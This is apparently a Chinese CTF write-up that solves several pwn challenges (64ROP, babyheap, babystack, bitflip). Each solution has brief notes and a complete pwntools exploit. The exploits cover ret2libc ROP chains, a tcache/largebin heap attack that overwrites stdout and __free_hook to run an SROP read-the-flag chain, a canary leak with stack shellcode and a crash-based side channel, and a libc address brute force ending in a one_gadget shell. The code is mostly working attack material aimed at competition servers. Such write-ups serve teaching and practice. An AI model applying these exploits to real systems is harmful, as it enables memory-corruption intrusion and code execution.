64ROP
程序分析
思路
- ret2libc就好了
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.12.152.6", 29999)
def Num(n, l=8):
sh.sendline(str(n))
def GDB():
gdb.attach(sh, '''
break *0x400730
''')
#GDB()
rdi = 0x00000000004007a3 #pop rdi; ret;
rsi = 0x00000000004007a1 #pop rsi; pop r15; ret;
#leak libc addr
exp = cyclic(0x4)
exp+= flat(0x0) #rbp
exp+= flat(rdi, elf.got['puts'], elf.symbols['puts'], elf.symbols['main'])
sh.sendlineafter('*****#####*****\n', exp)
libc.address = u64(sh.recv(6)+'\x00'*2)-libc.symbols['puts']
Log('libc.address')
OGG = libc.address+0x4526a
exp = cyclic(0x4)
exp+= flat(0x0) #rbp
exp+= flat(OGG)+'\x00'*0x60
sh.sendlineafter('*****#####*****\n', exp)
sh.interactive()
'''
'''
babyheap
程序分析
- Edit之后进行trunk时有一个offset by null, Trunk会首先检查所有给定范围内所有字符, 计算所有与0x10对齐的字符数量, 如果这个数量与0x10对齐的话, 就有str[len]=0x0
思路
- 利用Largebin绕过unlink的自闭检查, 手法可以看我以前的文章 https://www.anquanke.com/post/id/237976
- 构造出Chunk重叠后利用partial overwrite让Tcache指向_IO_2_1_stdout, 从而泄露地址
- 最后打__free_hook利用setcontext进行SROP读取flag
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
for i in range(256):
try:
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.11", 23459)
def Num(n, l=8):
sh.send(str(n).ljust(l, '\x00'))
def Cmd(n):
sh.recvuntil('Choice:')
Num(n)
def Add(sz):
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
def Edit(idx, cont, wait=True):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
if(wait):
sh.recvuntil('Content: \n')
else:
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show():
Cmd(4)
def GDB():
gdb.attach(sh, '''
break *(0x555555554000+0x149D)
break *0x7ffff7e2d0a0
telescope (0x555555554000+0x40E0) 32
''')
Add(0x3D50) #padding
#chunk arrange
Add(0x500) # B, put into LB and unlink(B)
Add(0x4F0) # A'
Add(0x4F0) # A, put into LB
Add(0x100) # gap
Add(0x510) # C, put into LB
Add(0x200)
Add(0x200)
Add(0x200)
Add(0x200)
Add(0x1F8) # chunk to overflow P flag
Add(0x4F0) # chunk to be free
Add(0x100) # gap to top chunk
#LB<=>C<=>B<=>A
Delete(1)
Delete(3)
Delete(5)
Add(0x1000)
Delete(1)
#forge fake chunk in B
Add(0x500)
Edit(1, flat(0xdeadbeef, 0x1F71)[0:0xF])
hb = 0xe #ASLR on: 0xe, off: 0x0
#partial overwrite A->bk
Add(0x4F0)
Edit(3, '\x00'*(8)+'\x00'+chr(hb<<4))
#LB<=>C<=>A'
Delete(2)
Add(0x1000)
Delete(2)
#partial overwrite C->fd
Add(0x510)
Edit(2, '\x00'+chr(hb<<4))
#clean LB
Add(0x4F0)
#offset by null
Edit(10, (b'\x0F'*7).ljust(0x1f0, b'\x00')+p64(0x1F70))
#trigger consolidate, UB<=>(B, A, A', ...., )
Delete(11)
#alloc to _IO_2_1_stdout_
Delete(7)
Delete(6) #Tcache->C6->C7
Add(0x1520) #Tcache->C6->UB
Add(0xF0)
hb = 0xe #ASLR on: 0xe, off: 0x1
Edit(7, p16(0x6a0|(hb<<12))) #Tcache->C6->stdout
#IO attack
Add(0x200)
Add(0x200)
exp = flat(0xFBAD1800)
exp+= flat(0 ,0 , 0)
exp+= p8(0x8)
Edit(13, exp)
libc.address = u64(sh.recv(8))-0x1eb980
Log('libc.address')
#GG
ret = libc.address+0x25679 #ret;
rdi = libc.address+0x26b72 #pop rdi; ret;
rsi = libc.address+0x27529 #pop rsi; ret;
rdx_r12 = libc.address+0x11c371 #pop rdx; pop r12; ret;
rax = libc.address+0x4a550 #pop rax; ret;
syscall = libc.address+0x66229 #syscall; ret;
def Call(sys, A, B, C):
exp = flat(rdi, A)
exp+= flat(rsi, B)
exp+= flat(rdx_r12, C, 0x0)
exp+= flat(rax, sys)
exp+= flat(syscall)
return exp
#alloc to __free_hook
Delete(9) #Tcache->C9
Delete(8) #Tcache->C8->C9
Add(0x400)
Edit(8, b'\x00'*0x320+p64(libc.symbols['__free_hook']), False)
#SROP
Add(0x200)
Add(0x200)
exp = p64(libc.symbols['setcontext']) #__free_hook
frame = SigreturnFrame()
frame["&fpstate"] = libc.address+0x1ebF00 #libc .bss
frame.rsp = libc.address+0x1eec20
frame.rip = ret
exp+= bytes(frame)[0x8:]
#ORW rop
buf = libc.address+0x1eed10
exp+= Call(2, buf, 0, 0)
exp+= Call(0, 3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100)
exp+= b"./flag\x00"
Edit(14, exp.ljust(0x200, b'\x00'), False)
#GDB()
#trigger SROP
Delete(14)
sh.interactive()
except:
sh.close()
'''
'''
babystack
思路
- size传入0, 负整数溢出, 覆盖到canary最低00字节 从而利用%s读出canary
- vuln()函数
- 第一次调用: partial overwrite返回地址, 让vuln()返回到main()中call vuln()的地方, 从而多次调用vuln
- 第二次调用: 已经泄露了stack地址, 直接在stack中写shellcode, 然后覆盖返回地址为shellcode地址就好
- shellcode: 侧信到泄露flag:
- 打开文件文件后读入第idx个字节, 如果这个自己与猜的一样, 那么死循环, 如果不一样就mov rax, [0]触发SIGV, 让nc断掉
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'error'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
def Num(n, l=8):
sh.sendline(str(n))
def GDB():
gdb.attach(sh, '''
break *(0x555555554ce6)
''')
#GDB()
def Brute(sh, idx, c):
def Name(name):
sh.recvuntil(' What\'s your name size?\n')
sh.send('0'.ljust(7, '\x00'))
sh.recvuntil('Tell me your name!\n')
sh.send(name)
def Gift(cont):
sh.recvuntil('This is gift for you\n')
sh.send(cont)
try:
Name('A'*0x19)
sh.recvuntil('A'*0x19, timeout=1)
t=sh.recv(7)
canary = u64('\x00'+t)
#stack mov
exp = cyclic(0x88)
exp+= flat(canary)
exp+= flat(0x0) #rbp
exp+= p8(0xB7)
Gift(exp)
sh.recv(0x98)
elf.address = u64(sh.recv(8))
stack_addr = u64(sh.recv(8))
#shellcode
exp = 'A'*8
exp+= asm('''
xor rax, rax
mov eax, 0x67616c66
push rax
open:
xor rax, rax
inc rax
inc rax
mov rdi, rsp
xor rsi, rsi
syscall
read_flag:
mov rdi, rax
xor rax, rax
mov rsi, rsp
xor rdx, rdx
mov dl, 0xff
syscall
brute:
mov al, [rsp+%d]
cmp al, %d
jnz die
jmp brute
die:
mov al, [0]
'''%(idx, c))
exp = exp.ljust(0x88, '\x00')
exp+= flat(canary)
exp+= flat(0, stack_addr-0x1c0)
sh.send(exp.ljust(0xB0, '\x00'))
sh.recv(0xB0, timeout=1)
sleep(0.1)
sh.send('A')
sh.close()
return True
except:
sh.close()
return False
flag = ''
while(len(flag)<3):
for c in range(0x20, 0x80):
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.11", 23458)
print("brute 0x%x"%(c))
if(Brute(sh, len(flag), c)):
flag+= chr(c)
print(flag)
break
'''
'''
bitflip
程序分析
- read()读入, 不保证00结尾, 计算长度时使用strlen()依赖00结尾, 因此会造成越界读取, 利用侧信道泄露栈上信息
- Vuln读入时溢出1字节, 覆盖到i, 从而让i永远不为65, 相当于一个无限堆溢出
思路
- 利用栈缓存区中残留的stdout地址泄露libc地址
- 先是如下爆破每一个字节, 爆破之后得到最低12bit为0x680, 从而得知远程libc为2.27-3Ubuntu1.3
- 因此打远程是为了减少爆破次数, 最低12bit直接默认为0x680, 爆破就好
- 但是没法泄露canary, 覆盖i为0x50较大的数, 直接约过canary开始写入
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote("10.10.1.10", 10000)
def Num(n, l=8):
sh.sendline(str(n))
def ID(cont):
sh.recvuntil('ID: ')
sh.send(cont)
def Secret(cont):
sh.recvuntil('Secret: ')
sh.send(cont)
def Say(cont):
sh.recvuntil('WTF? What do you want to say: ')
sh.send(cont)
def GDB():
gdb.attach(sh, '''
break *(0x5555555549a1)
''')
#brute address
stderr = '\x80'
for i in range(4):
if(i==0):
start = 0x6
step = 0x10
else:
start = 0x1
step = 0x1
for c in range(start, 0x100, step):
print("Guess %d, %s"%(i, hex(c)))
sh.sendlineafter('Choice: ', '1')
ID('A'*0x10+stderr+chr(c)+'\x00')
Secret('A'*0x10)
res = sh.recv(4)
if(res == "Fail"):
continue
else:
sh.sendline('A')
stderr+=chr(c)
print('='*0x30+hex(c))
break
stderr = u64(stderr+'\x7F'+'\x00'*2)
Log('stderr')
libc.address = stderr - libc.symbols['_IO_2_1_stderr_']
Log('libc.address')
#ROP
#GDB()
sh.sendlineafter('Choice: ', '1')
ID('A\x00')
Secret('A\x00')
OGG = libc.address + 0x4f432
exp = '\x50'*0x41 # i = 0x50
exp+= cyclic(0x7) # rbp
exp+= flat(OGG)
exp+= '\x00'*0x100
Say(exp+'\n')
sh.sendline('cat flag\x00')
sh.interactive()
'''
'''
overflow
思路
- 相邻变量覆盖就好
发表评论
您还未登录,请先登录。
登录